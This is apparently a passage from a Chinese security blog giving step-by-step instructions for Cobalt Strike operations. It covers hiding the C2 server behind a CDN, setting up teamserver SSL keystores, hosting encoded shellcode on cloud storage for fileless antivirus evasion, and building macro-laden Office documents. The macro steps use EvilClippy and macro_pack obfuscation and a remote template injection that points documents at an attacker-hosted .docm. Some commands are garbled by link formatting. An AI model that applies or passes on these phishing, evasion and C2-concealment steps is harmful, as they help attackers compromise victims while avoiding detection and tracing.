依次生成后门,如果对方进行朔源,拉黑的 ip 将会是域名解析的 cdn ip

  • 修改 cs 的 SSL 证书

( 1 )配置 SSL 设置

创建证书(SSL - 源服务器)、设置页面规则 (缓存级别 - 绕过)、保存 CSR & 密匙 (server.pem&server.key)

( 2 )生成证书文件

1
2
openssl pkcs12 -export -in server.pem -inkey server.key -out [http://www.yaosese.](http://www.yaosese.) xyz.p12 -name [http://www.yaosese.xyz](http://www.yaosese.xyz) -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkey store [http://www.yaosese.xyz.store](http://www.yaosese.xyz.store) -srckeystore [http://www.yaosese.xyz.p12](http://www.yaosese.xyz.p12) -srcstoretype PK CS12 -srcstorepass 123456 -alias [http://www.yaosese.xyz](http://www.yaosese.xyz)

( 3 )修改 teamserver

证书指向:www.yaosese.xyz.store
证书密码: 123456

( 4 )启动 teamserver

./teamserver ip pass jquery-c2.4.5.profile

  • OSS 存储 shellcode

将 shellcode 编码后存储在 oss 上,是安全的标志,可以进行免杀的无文件落地。云上开启 OSS 对象存储、创建 Bucket 列表、设置 Bucket 属性、上传 Shellcode 文件、获取地址 & 代码加载

# office 套件宏病毒

  • 本地宏引用

通过 cs 生成宏代码,打开 office 的选项,增加开发工具,新增宏为上线代码。存储为 97 - 23.doc 或者 docm、并且在首次打开 word 时启用宏可以上线。但是此宏会被杀毒软件自动清除,所以需要进行免杀,否则无法上线。

  • 本地宏引用 工具混淆
1
2
3
4
5
# https://github.com/outflanknl/EvilClippy
EvilClippy -s 1.vba xd.doc
Sub Hello()
Dim X
X=MsgBox("Hello VBS")
  • 本地宏引用 混淆 VBA
1
2
3
# VBA代码助手 macro_pack
BadAssMacrosx-i payload.bin -w doc -p no -s classic -c 5 -o 1.vba
https://github.com/lgzcarson/Payloads/blob/3066615cde55f9cd6755ed81a7d83c229f78e397/Methodology%20and%20Resources/Office%20-%20Attacks.md
  • 远程宏引用

将 docm 宏存储在远程 oss 或者 github 上,用带模板的 docx 通过修改 settings.xml 来指向远程宏木马所在的位置。
( 1 )制作包含宏的恶意模版文件(.docm),注意用 EvilClippy 做一层免杀。
( 2 )将恶意模版文件上传至服务器。如 Github、OSS 等公共文件平台。
( 3 )新建并保存一个使用任意模版的 docx 文件。改 docx 后缀为 zip,解压 docx 文件,修改 word_rels\settings.xml.rels 文件的 Target 属性,将其指向部署恶意模版文件的服务器。
( 4 )使用 zip 格式压缩文件,并重新命名后缀为 docx。
( 5 )重新打开 docx 文件,并启用宏。

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝